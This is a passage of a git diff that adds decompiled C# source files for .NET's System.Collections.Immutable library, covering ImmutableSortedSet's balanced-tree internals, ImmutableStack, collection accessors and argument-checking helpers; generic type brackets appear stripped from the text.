+ } + + object? IEnumerator.Current => Current; + + internal Enumerator(Node root, Builder? builder = null, bool reverse = false) + { + Requires.NotNull(root, "root"); + _root = root; + _builder = builder; + _current = null; + _reverse = reverse; + _enumeratingBuilderVersion = builder?.Version ?? (-1); + _poolUserId = SecureObjectPool.NewId(); + _stack = null; + if (!SecureObjectPool>, Enumerator>.TryTake(this, out _stack)) + { + _stack = SecureObjectPool>, Enumerator>.PrepNew(this, new Stack>(root.Height)); + } + PushNext(_root); + } + + public void Dispose() + { + _root = null; + _current = null; + if (_stack != null && _stack.TryUse(ref this, out var value)) + { + value.ClearFastWhenEmpty(); + SecureObjectPool>, Enumerator>.TryAdd(this, _stack); + _stack = null; + } + } + + public bool MoveNext() + { + ThrowIfDisposed(); + ThrowIfChanged(); + Stack> stack = _stack.Use(ref this); + if (stack.Count > 0) + { + Node node = (_current = stack.Pop().Value); + PushNext(_reverse ? node.Left : node.Right); + return true; + } + _current = null; + return false; + } + + public void Reset() + { + ThrowIfDisposed(); + _enumeratingBuilderVersion = ((_builder != null) ? _builder.Version : (-1)); + _current = null; + Stack> stack = _stack.Use(ref this); + stack.ClearFastWhenEmpty(); + PushNext(_root); + } + + private void ThrowIfDisposed() + { + if (_root == null || (_stack != null && !_stack.IsOwned(ref this))) + { + Requires.FailObjectDisposed(this); + } + } + + private void ThrowIfChanged() + { + if (_builder != null && _builder.Version != _enumeratingBuilderVersion) + { + throw new InvalidOperationException(System.SR.CollectionModifiedDuringEnumeration); + } + } + + private void PushNext(Node node) + { + Requires.NotNull(node, "node"); + Stack> stack = _stack.Use(ref this); + while (!node.IsEmpty) + { + stack.Push(new RefAsValueType(node)); + node = (_reverse ? node.Right : node.Left); + } + } + } + + [DebuggerDisplay("{_key}")] + internal sealed class Node : IBinaryTree, IBinaryTree, IEnumerable, IEnumerable + { + internal static readonly Node EmptyNode = new Node(); + + private readonly T _key; + + private bool _frozen; + + private byte _height; + + private int _count; + + private Node _left; + + private Node _right; + + public bool IsEmpty => _left == null; + + public int Height => _height; + + public Node? Left => _left; + + IBinaryTree? IBinaryTree.Left => _left; + + public Node? Right => _right; + + IBinaryTree? IBinaryTree.Right => _right; + + IBinaryTree? IBinaryTree.Left => _left; + + IBinaryTree? IBinaryTree.Right => _right; + + public T Value => _key; + + public int Count => _count; + + internal T Key => _key; + + internal T? Max + { + get + { + if (IsEmpty) + { + return default(T); + } + Node node = this; + while (!node._right.IsEmpty) + { + node = node._right; + } + return node._key; + } + } + + internal T? Min + { + get + { + if (IsEmpty) + { + return default(T); + } + Node node = this; + while (!node._left.IsEmpty) + { + node = node._left; + } + return node._key; + } + } + + internal T this[int index] + { + get + { + Requires.Range(index >= 0 && index < Count, "index"); + if (index < _left._count) + { + return _left[index]; + } + if (index > _left._count) + { + return _right[index - _left._count - 1]; + } + return _key; + } + } + + private Node() + { + _frozen = true; + } + + private Node(T key, Node left, Node right, bool frozen = false) + { + Requires.NotNull(left, "left"); + Requires.NotNull(right, "right"); + _key = key; + _left = left; + _right = right; + _height = checked((byte)(1 + Math.Max(left._height, right._height))); + _count = 1 + left._count + right._count; + _frozen = frozen; + } + + internal ref readonly T ItemRef(int index) + { + Requires.Range(index >= 0 && index < Count, "index"); + return ref ItemRefUnchecked(index); + } + + private ref readonly T ItemRefUnchecked(int index) + { + if (index < _left._count) + { + return ref _left.ItemRefUnchecked(index); + } + if (index > _left._count) + { + return ref _right.ItemRefUnchecked(index - _left._count - 1); + } + return ref _key; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + [ExcludeFromCodeCoverage] + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + [ExcludeFromCodeCoverage] + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + internal Enumerator GetEnumerator(Builder builder) + { + return new Enumerator(this, builder); + } + + internal void CopyTo(T[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + internal void CopyTo(Array array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array.SetValue(current, arrayIndex++); + } + } + + internal Node Add(T key, IComparer comparer, out bool mutated) + { + Requires.NotNull(comparer, "comparer"); + if (IsEmpty) + { + mutated = true; + return new Node(key, this, this); + } + Node node = this; + int num = comparer.Compare(key, _key); + if (num > 0) + { + Node right = _right.Add(key, comparer, out mutated); + if (mutated) + { + node = Mutate(null, right); + } + } + else + { + if (num >= 0) + { + mutated = false; + return this; + } + Node left = _left.Add(key, comparer, out mutated); + if (mutated) + { + node = Mutate(left); + } + } + if (!mutated) + { + return node; + } + return MakeBalanced(node); + } + + internal Node Remove(T key, IComparer comparer, out bool mutated) + { + Requires.NotNull(comparer, "comparer"); + if (IsEmpty) + { + mutated = false; + return this; + } + Node node = this; + int num = comparer.Compare(key, _key); + if (num == 0) + { + mutated = true; + if (_right.IsEmpty && _left.IsEmpty) + { + node = EmptyNode; + } + else if (_right.IsEmpty && !_left.IsEmpty) + { + node = _left; + } + else if (!_right.IsEmpty && _left.IsEmpty) + { + node = _right; + } + else + { + Node node2 = _right; + while (!node2._left.IsEmpty) + { + node2 = node2._left; + } + bool mutated2; + Node right = _right.Remove(node2._key, comparer, out mutated2); + node = node2.Mutate(_left, right); + } + } + else if (num < 0) + { + Node left = _left.Remove(key, comparer, out mutated); + if (mutated) + { + node = Mutate(left); + } + } + else + { + Node right2 = _right.Remove(key, comparer, out mutated); + if (mutated) + { + node = Mutate(null, right2); + } + } + if (!node.IsEmpty) + { + return MakeBalanced(node); + } + return node; + } + + internal bool Contains(T key, IComparer comparer) + { + Requires.NotNull(comparer, "comparer"); + return !Search(key, comparer).IsEmpty; + } + + internal void Freeze() + { + if (!_frozen) + { + _left.Freeze(); + _right.Freeze(); + _frozen = true; + } + } + + internal Node Search(T key, IComparer comparer) + { + Requires.NotNull(comparer, "comparer"); + if (IsEmpty) + { + return this; + } + int num = comparer.Compare(key, _key); + if (num == 0) + { + return this; + } + if (num > 0) + { + return _right.Search(key, comparer); + } + return _left.Search(key, comparer); + } + + internal int IndexOf(T key, IComparer comparer) + { + Requires.NotNull(comparer, "comparer"); + if (IsEmpty) + { + return -1; + } + int num = comparer.Compare(key, _key); + if (num == 0) + { + return _left.Count; + } + if (num > 0) + { + int num2 = _right.IndexOf(key, comparer); + bool flag = num2 < 0; + if (flag) + { + num2 = ~num2; + } + num2 = _left.Count + 1 + num2; + if (flag) + { + num2 = ~num2; + } + return num2; + } + return _left.IndexOf(key, comparer); + } + + internal IEnumerator Reverse() + { + return new Enumerator(this, null, reverse: true); + } + + private static Node RotateLeft(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._right.IsEmpty) + { + return tree; + } + Node right = tree._right; + return right.Mutate(tree.Mutate(null, right._left)); + } + + private static Node RotateRight(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._left.IsEmpty) + { + return tree; + } + Node left = tree._left; + return left.Mutate(null, tree.Mutate(left._right)); + } + + private static Node DoubleLeft(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._right.IsEmpty) + { + return tree; + } + Node tree2 = tree.Mutate(null, RotateRight(tree._right)); + return RotateLeft(tree2); + } + + private static Node DoubleRight(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._left.IsEmpty) + { + return tree; + } + Node tree2 = tree.Mutate(RotateLeft(tree._left)); + return RotateRight(tree2); + } + + private static int Balance(Node tree) + { + Requires.NotNull(tree, "tree"); + return tree._right._height - tree._left._height; + } + + private static bool IsRightHeavy(Node tree) + { + Requires.NotNull(tree, "tree"); + return Balance(tree) >= 2; + } + + private static bool IsLeftHeavy(Node tree) + { + Requires.NotNull(tree, "tree"); + return Balance(tree) <= -2; + } + + private static Node MakeBalanced(Node tree) + { + Requires.NotNull(tree, "tree"); + if (IsRightHeavy(tree)) + { + if (Balance(tree._right) >= 0) + { + return RotateLeft(tree); + } + return DoubleLeft(tree); + } + if (IsLeftHeavy(tree)) + { + if (Balance(tree._left) <= 0) + { + return RotateRight(tree); + } + return DoubleRight(tree); + } + return tree; + } + + internal static Node NodeTreeFromList(IOrderedCollection items, int start, int length) + { + Requires.NotNull(items, "items"); + if (length == 0) + { + return EmptyNode; + } + int num = (length - 1) / 2; + int num2 = length - 1 - num; + Node left = NodeTreeFromList(items, start, num2); + Node right = NodeTreeFromList(items, start + num2 + 1, num); + return new Node(items[start + num2], left, right, frozen: true); + } + + private Node Mutate(Node left = null, Node right = null) + { + if (_frozen) + { + return new Node(_key, left ?? _left, right ?? _right); + } + if (left != null) + { + _left = left; + } + if (right != null) + { + _right = right; + } + _height = checked((byte)(1 + Math.Max(_left._height, _right._height))); + _count = 1 + _left._count + _right._count; + return this; + } + } + + private const float RefillOverIncrementalThreshold = 0.15f; + + public static readonly ImmutableSortedSet Empty = new ImmutableSortedSet(); + + private readonly Node _root; + + private readonly IComparer _comparer; + + public T? Max => _root.Max; + + public T? Min => _root.Min; + + public bool IsEmpty => _root.IsEmpty; + + public int Count => _root.Count; + + public IComparer KeyComparer => _comparer; + + internal IBinaryTree Root => _root; + + public T this[int index] => _root.ItemRef(index); + + bool ICollection.IsReadOnly => true; + + T IList.this[int index] + { + get + { + return this[index]; + } + set + { + throw new NotSupportedException(); + } + } + + bool IList.IsFixedSize => true; + + bool IList.IsReadOnly => true; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot => this; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => true; + + object? IList.this[int index] + { + get + { + return this[index]; + } + set + { + throw new NotSupportedException(); + } + } + + internal ImmutableSortedSet(IComparer? comparer = null) + { + _root = Node.EmptyNode; + _comparer = comparer ?? Comparer.Default; + } + + private ImmutableSortedSet(Node root, IComparer comparer) + { + Requires.NotNull(root, "root"); + Requires.NotNull(comparer, "comparer"); + root.Freeze(); + _root = root; + _comparer = comparer; + } + + public ImmutableSortedSet Clear() + { + if (!_root.IsEmpty) + { + return Empty.WithComparer(_comparer); + } + return this; + } + + public ref readonly T ItemRef(int index) + { + return ref _root.ItemRef(index); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + public ImmutableSortedSet Add(T value) + { + bool mutated; + return Wrap(_root.Add(value, _comparer, out mutated)); + } + + public ImmutableSortedSet Remove(T value) + { + bool mutated; + return Wrap(_root.Remove(value, _comparer, out mutated)); + } + + public bool TryGetValue(T equalValue, out T actualValue) + { + Node node = _root.Search(equalValue, _comparer); + if (node.IsEmpty) + { + actualValue = equalValue; + return false; + } + actualValue = node.Key; + return true; + } + + public ImmutableSortedSet Intersect(IEnumerable other) + { + Requires.NotNull(other, "other"); + ImmutableSortedSet immutableSortedSet = Clear(); + foreach (T item in other.GetEnumerableDisposable()) + { + if (Contains(item)) + { + immutableSortedSet = immutableSortedSet.Add(item); + } + } + return immutableSortedSet; + } + + public ImmutableSortedSet Except(IEnumerable other) + { + Requires.NotNull(other, "other"); + Node node = _root; + foreach (T item in other.GetEnumerableDisposable()) + { + node = node.Remove(item, _comparer, out var _); + } + return Wrap(node); + } + + public ImmutableSortedSet SymmetricExcept(IEnumerable other) + { + Requires.NotNull(other, "other"); + ImmutableSortedSet immutableSortedSet = ImmutableSortedSet.CreateRange(_comparer, other); + ImmutableSortedSet immutableSortedSet2 = Clear(); + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (!immutableSortedSet.Contains(current)) + { + immutableSortedSet2 = immutableSortedSet2.Add(current); + } + } + } + foreach (T item in immutableSortedSet) + { + if (!Contains(item)) + { + immutableSortedSet2 = immutableSortedSet2.Add(item); + } + } + return immutableSortedSet2; + } + + public ImmutableSortedSet Union(IEnumerable other) + { + Requires.NotNull(other, "other"); + if (TryCastToImmutableSortedSet(other, out var other2) && other2.KeyComparer == KeyComparer) + { + if (other2.IsEmpty) + { + return this; + } + if (IsEmpty) + { + return other2; + } + if (other2.Count > Count) + { + return other2.Union(this); + } + } + if (IsEmpty || (other.TryGetCount(out var count) && (float)(Count + count) * 0.15f > (float)Count)) + { + return LeafToRootRefill(other); + } + return UnionIncremental(other); + } + + public ImmutableSortedSet WithComparer(IComparer? comparer) + { + if (comparer == null) + { + comparer = Comparer.Default; + } + if (comparer == _comparer) + { + return this; + } + ImmutableSortedSet immutableSortedSet = new ImmutableSortedSet(Node.EmptyNode, comparer); + return immutableSortedSet.Union(this); + } + + public bool SetEquals(IEnumerable other) + { + Requires.NotNull(other, "other"); + if (this == other) + { + return true; + } + SortedSet sortedSet = new SortedSet(other, KeyComparer); + if (Count != sortedSet.Count) + { + return false; + } + int num = 0; + foreach (T item in sortedSet) + { + if (!Contains(item)) + { + return false; + } + num++; + } + return num == Count; + } + + public bool IsProperSubsetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + if (IsEmpty) + { + return other.Any(); + } + SortedSet sortedSet = new SortedSet(other, KeyComparer); + if (Count >= sortedSet.Count) + { + return false; + } + int num = 0; + bool flag = false; + foreach (T item in sortedSet) + { + if (Contains(item)) + { + num++; + } + else + { + flag = true; + } + if (num == Count && flag) + { + return true; + } + } + return false; + } + + public bool IsProperSupersetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + if (IsEmpty) + { + return false; + } + int num = 0; + foreach (T item in other.GetEnumerableDisposable()) + { + num++; + if (!Contains(item)) + { + return false; + } + } + return Count > num; + } + + public bool IsSubsetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + if (IsEmpty) + { + return true; + } + SortedSet sortedSet = new SortedSet(other, KeyComparer); + int num = 0; + foreach (T item in sortedSet) + { + if (Contains(item)) + { + num++; + } + } + return num == Count; + } + + public bool IsSupersetOf(IEnumerable other) + { + Requires.NotNull(other, "other"); + foreach (T item in other.GetEnumerableDisposable()) + { + if (!Contains(item)) + { + return false; + } + } + return true; + } + + public bool Overlaps(IEnumerable other) + { + Requires.NotNull(other, "other"); + if (IsEmpty) + { + return false; + } + foreach (T item in other.GetEnumerableDisposable()) + { + if (Contains(item)) + { + return true; + } + } + return false; + } + + public IEnumerable Reverse() + { + return new ReverseEnumerable(_root); + } + + public int IndexOf(T item) + { + return _root.IndexOf(item, _comparer); + } + + public bool Contains(T value) + { + return _root.Contains(value, _comparer); + } + + IImmutableSet IImmutableSet.Clear() + { + return Clear(); + } + + IImmutableSet IImmutableSet.Add(T value) + { + return Add(value); + } + + IImmutableSet IImmutableSet.Remove(T value) + { + return Remove(value); + } + + IImmutableSet IImmutableSet.Intersect(IEnumerable other) + { + return Intersect(other); + } + + IImmutableSet IImmutableSet.Except(IEnumerable other) + { + return Except(other); + } + + IImmutableSet IImmutableSet.SymmetricExcept(IEnumerable other) + { + return SymmetricExcept(other); + } + + IImmutableSet IImmutableSet.Union(IEnumerable other) + { + return Union(other); + } + + bool ISet.Add(T item) + { + throw new NotSupportedException(); + } + + void ISet.ExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.IntersectWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.SymmetricExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.UnionWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(T[] array, int arrayIndex) + { + _root.CopyTo(array, arrayIndex); + } + + void ICollection.Add(T item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(T item) + { + throw new NotSupportedException(); + } + + void IList.Insert(int index, T item) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + int IList.Add(object value) + { + throw new NotSupportedException(); + } + + void IList.Clear() + { + throw new NotSupportedException(); + } + + bool IList.Contains(object value) + { + return Contains((T)value); + } + + int IList.IndexOf(object value) + { + return IndexOf((T)value); + } + + void IList.Insert(int index, object value) + { + throw new NotSupportedException(); + } + + void IList.Remove(object value) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int index) + { + _root.CopyTo(array, index); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (!IsEmpty) + { + return GetEnumerator(); + } + return Enumerable.Empty().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public Enumerator GetEnumerator() + { + return _root.GetEnumerator(); + } + + private static bool TryCastToImmutableSortedSet(IEnumerable sequence, [NotNullWhen(true)] out ImmutableSortedSet other) + { + other = sequence as ImmutableSortedSet; + if (other != null) + { + return true; + } + if (sequence is Builder builder) + { + other = builder.ToImmutable(); + return true; + } + return false; + } + + private static ImmutableSortedSet Wrap(Node root, IComparer comparer) + { + if (!root.IsEmpty) + { + return new ImmutableSortedSet(root, comparer); + } + return Empty.WithComparer(comparer); + } + + private ImmutableSortedSet UnionIncremental(IEnumerable items) + { + Requires.NotNull(items, "items"); + Node node = _root; + foreach (T item in items.GetEnumerableDisposable()) + { + node = node.Add(item, _comparer, out var _); + } + return Wrap(node); + } + + private ImmutableSortedSet Wrap(Node root) + { + if (root != _root) + { + if (!root.IsEmpty) + { + return new ImmutableSortedSet(root, _comparer); + } + return Clear(); + } + return this; + } + + private ImmutableSortedSet LeafToRootRefill(IEnumerable addedItems) + { + Requires.NotNull(addedItems, "addedItems"); + List list; + if (IsEmpty) + { + if (addedItems.TryGetCount(out var count) && count == 0) + { + return this; + } + list = new List(addedItems); + if (list.Count == 0) + { + return this; + } + } + else + { + list = new List(this); + list.AddRange(addedItems); + } + IComparer keyComparer = KeyComparer; + list.Sort(keyComparer); + int num = 1; + for (int i = 1; i < list.Count; i++) + { + if (keyComparer.Compare(list[i], list[i - 1]) != 0) + { + list[num++] = list[i]; + } + } + list.RemoveRange(num, list.Count - num); + Node root = Node.NodeTreeFromList(list.AsOrderedCollection(), 0, list.Count); + return Wrap(root); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedSetBuilderDebuggerProxy.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedSetBuilderDebuggerProxy.cs new file mode 100644 index 0000000..276d96a --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedSetBuilderDebuggerProxy.cs @@ -0,0 +1,17 @@ +using System.Diagnostics; + +namespace System.Collections.Immutable; + +internal sealed class ImmutableSortedSetBuilderDebuggerProxy +{ + private readonly ImmutableSortedSet.Builder _set; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Contents => _set.ToArray(_set.Count); + + public ImmutableSortedSetBuilderDebuggerProxy(ImmutableSortedSet.Builder builder) + { + Requires.NotNull(builder, "builder"); + _set = builder; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableStack.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableStack.cs new file mode 100644 index 0000000..f46cde5 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableStack.cs @@ -0,0 +1,264 @@ +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Linq; + +namespace System.Collections.Immutable; + +public static class ImmutableStack +{ + public static ImmutableStack Create() + { + return ImmutableStack.Empty; + } + + public static ImmutableStack Create(T item) + { + return ImmutableStack.Empty.Push(item); + } + + public static ImmutableStack CreateRange(IEnumerable items) + { + Requires.NotNull(items, "items"); + ImmutableStack immutableStack = ImmutableStack.Empty; + foreach (T item in items) + { + immutableStack = immutableStack.Push(item); + } + return immutableStack; + } + + public static ImmutableStack Create(params T[] items) + { + Requires.NotNull(items, "items"); + ImmutableStack immutableStack = ImmutableStack.Empty; + foreach (T value in items) + { + immutableStack = immutableStack.Push(value); + } + return immutableStack; + } + + public static IImmutableStack Pop(this IImmutableStack stack, out T value) + { + Requires.NotNull(stack, "stack"); + value = stack.Peek(); + return stack.Pop(); + } +} +[DebuggerDisplay("IsEmpty = {IsEmpty}; Top = {_head}")] +[DebuggerTypeProxy(typeof(ImmutableEnumerableDebuggerProxy<>))] +public sealed class ImmutableStack : IImmutableStack, IEnumerable, IEnumerable +{ + [EditorBrowsable(EditorBrowsableState.Advanced)] + public struct Enumerator + { + private readonly ImmutableStack _originalStack; + + private ImmutableStack _remainingStack; + + public T Current + { + get + { + if (_remainingStack == null || _remainingStack.IsEmpty) + { + throw new InvalidOperationException(); + } + return _remainingStack.Peek(); + } + } + + internal Enumerator(ImmutableStack stack) + { + Requires.NotNull(stack, "stack"); + _originalStack = stack; + _remainingStack = null; + } + + public bool MoveNext() + { + if (_remainingStack == null) + { + _remainingStack = _originalStack; + } + else if (!_remainingStack.IsEmpty) + { + _remainingStack = _remainingStack.Pop(); + } + return !_remainingStack.IsEmpty; + } + } + + private sealed class EnumeratorObject : IEnumerator, IDisposable, IEnumerator + { + private readonly ImmutableStack _originalStack; + + private ImmutableStack _remainingStack; + + private bool _disposed; + + public T Current + { + get + { + ThrowIfDisposed(); + if (_remainingStack == null || _remainingStack.IsEmpty) + { + throw new InvalidOperationException(); + } + return _remainingStack.Peek(); + } + } + + object IEnumerator.Current => Current; + + internal EnumeratorObject(ImmutableStack stack) + { + Requires.NotNull(stack, "stack"); + _originalStack = stack; + } + + public bool MoveNext() + { + ThrowIfDisposed(); + if (_remainingStack == null) + { + _remainingStack = _originalStack; + } + else if (!_remainingStack.IsEmpty) + { + _remainingStack = _remainingStack.Pop(); + } + return !_remainingStack.IsEmpty; + } + + public void Reset() + { + ThrowIfDisposed(); + _remainingStack = null; + } + + public void Dispose() + { + _disposed = true; + } + + private void ThrowIfDisposed() + { + if (_disposed) + { + Requires.FailObjectDisposed(this); + } + } + } + + private static readonly ImmutableStack s_EmptyField = new ImmutableStack(); + + private readonly T _head; + + private readonly ImmutableStack _tail; + + public static ImmutableStack Empty => s_EmptyField; + + public bool IsEmpty => _tail == null; + + private ImmutableStack() + { + } + + private ImmutableStack(T head, ImmutableStack tail) + { + _head = head; + _tail = tail; + } + + public ImmutableStack Clear() + { + return Empty; + } + + IImmutableStack IImmutableStack.Clear() + { + return Clear(); + } + + public T Peek() + { + if (IsEmpty) + { + throw new InvalidOperationException(System.SR.InvalidEmptyOperation); + } + return _head; + } + + public ref readonly T PeekRef() + { + if (IsEmpty) + { + throw new InvalidOperationException(System.SR.InvalidEmptyOperation); + } + return ref _head; + } + + public ImmutableStack Push(T value) + { + return new ImmutableStack(value, this); + } + + IImmutableStack IImmutableStack.Push(T value) + { + return Push(value); + } + + public ImmutableStack Pop() + { + if (IsEmpty) + { + throw new InvalidOperationException(System.SR.InvalidEmptyOperation); + } + return _tail; + } + + public ImmutableStack Pop(out T value) + { + value = Peek(); + return Pop(); + } + + IImmutableStack IImmutableStack.Pop() + { + return Pop(); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (!IsEmpty) + { + return new EnumeratorObject(this); + } + return Enumerable.Empty().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new EnumeratorObject(this); + } + + internal ImmutableStack Reverse() + { + ImmutableStack immutableStack = Clear(); + ImmutableStack immutableStack2 = this; + while (!immutableStack2.IsEmpty) + { + immutableStack = immutableStack.Push(immutableStack2.Peek()); + immutableStack2 = immutableStack2.Pop(); + } + return immutableStack; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/KeysCollectionAccessor.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/KeysCollectionAccessor.cs new file mode 100644 index 0000000..32a3d20 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/KeysCollectionAccessor.cs @@ -0,0 +1,14 @@ +namespace System.Collections.Immutable; + +internal sealed class KeysCollectionAccessor : KeysOrValuesCollectionAccessor where TKey : notnull +{ + internal KeysCollectionAccessor(IImmutableDictionary dictionary) + : base(dictionary, dictionary.Keys) + { + } + + public override bool Contains(TKey item) + { + return base.Dictionary.ContainsKey(item); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/KeysOrValuesCollectionAccessor.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/KeysOrValuesCollectionAccessor.cs new file mode 100644 index 0000000..df498fa --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/KeysOrValuesCollectionAccessor.cs @@ -0,0 +1,84 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace System.Collections.Immutable; + +internal abstract class KeysOrValuesCollectionAccessor : ICollection, IEnumerable, IEnumerable, ICollection where TKey : notnull +{ + private readonly IImmutableDictionary _dictionary; + + private readonly IEnumerable _keysOrValues; + + public bool IsReadOnly => true; + + public int Count => _dictionary.Count; + + protected IImmutableDictionary Dictionary => _dictionary; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => true; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot => this; + + protected KeysOrValuesCollectionAccessor(IImmutableDictionary dictionary, IEnumerable keysOrValues) + { + Requires.NotNull(dictionary, "dictionary"); + Requires.NotNull(keysOrValues, "keysOrValues"); + _dictionary = dictionary; + _keysOrValues = keysOrValues; + } + + public void Add(T item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + throw new NotSupportedException(); + } + + public abstract bool Contains(T item); + + public void CopyTo(T[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using IEnumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + public bool Remove(T item) + { + throw new NotSupportedException(); + } + + public IEnumerator GetEnumerator() + { + return _keysOrValues.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using IEnumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array.SetValue(current, arrayIndex++); + } + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/RefAsValueType.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/RefAsValueType.cs new file mode 100644 index 0000000..042c159 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/RefAsValueType.cs @@ -0,0 +1,14 @@ +using System.Diagnostics; + +namespace System.Collections.Immutable; + +[DebuggerDisplay("{Value,nq}")] +internal struct RefAsValueType +{ + internal T Value; + + internal RefAsValueType(T value) + { + Value = value; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/Requires.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/Requires.cs new file mode 100644 index 0000000..b730075 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/Requires.cs @@ -0,0 +1,82 @@ +using System.Diagnostics; +using System.Runtime.CompilerServices; + +namespace System.Collections.Immutable; + +internal static class Requires +{ + [DebuggerStepThrough] + public static void NotNull([ValidatedNotNull] T value, string? parameterName) where T : class + { + if (value == null) + { + FailArgumentNullException(parameterName); + } + } + + [DebuggerStepThrough] + public static T NotNullPassthrough([ValidatedNotNull] T value, string? parameterName) where T : class + { + NotNull(value, parameterName); + return value; + } + + [DebuggerStepThrough] + public static void NotNullAllowStructs([ValidatedNotNull] T value, string? parameterName) + { + if (value == null) + { + FailArgumentNullException(parameterName); + } + } + + [DebuggerStepThrough] + private static void FailArgumentNullException(string parameterName) + { + throw new ArgumentNullException(parameterName); + } + + [DebuggerStepThrough] + public static void Range(bool condition, string? parameterName, string? message = null) + { + if (!condition) + { + FailRange(parameterName, message); + } + } + + [DebuggerStepThrough] + public static void FailRange(string? parameterName, string? message = null) + { + if (string.IsNullOrEmpty(message)) + { + throw new ArgumentOutOfRangeException(parameterName); + } + throw new ArgumentOutOfRangeException(parameterName, message); + } + + [DebuggerStepThrough] + public static void Argument(bool condition, string? parameterName, string? message) + { + if (!condition) + { + throw new ArgumentException(message, parameterName); + } + } + + [DebuggerStepThrough] + public static void Argument(bool condition) + { + if (!condition) + { + throw new ArgumentException(); + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DebuggerStepThrough] + public static void FailObjectDisposed(TDisposed disposed) + { + throw new ObjectDisposedException(disposed.GetType().FullName); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SecureObjectPool.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SecureObjectPool.cs new file mode 100644 index 0000000..e70791f --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SecureObjectPool.cs @@ -0,0 +1,51 @@ +using System.Threading; + +namespace System.Collections.Immutable; + +internal static class SecureObjectPool +{ + private static int s_poolUserIdCounter; + + internal const int UnassignedId = -1; + + internal static int NewId() + { + int num; + do + { + num = Interlocked.Increment(ref s_poolUserIdCounter); + } + while (num == -1); + return num; + } +} +internal static class 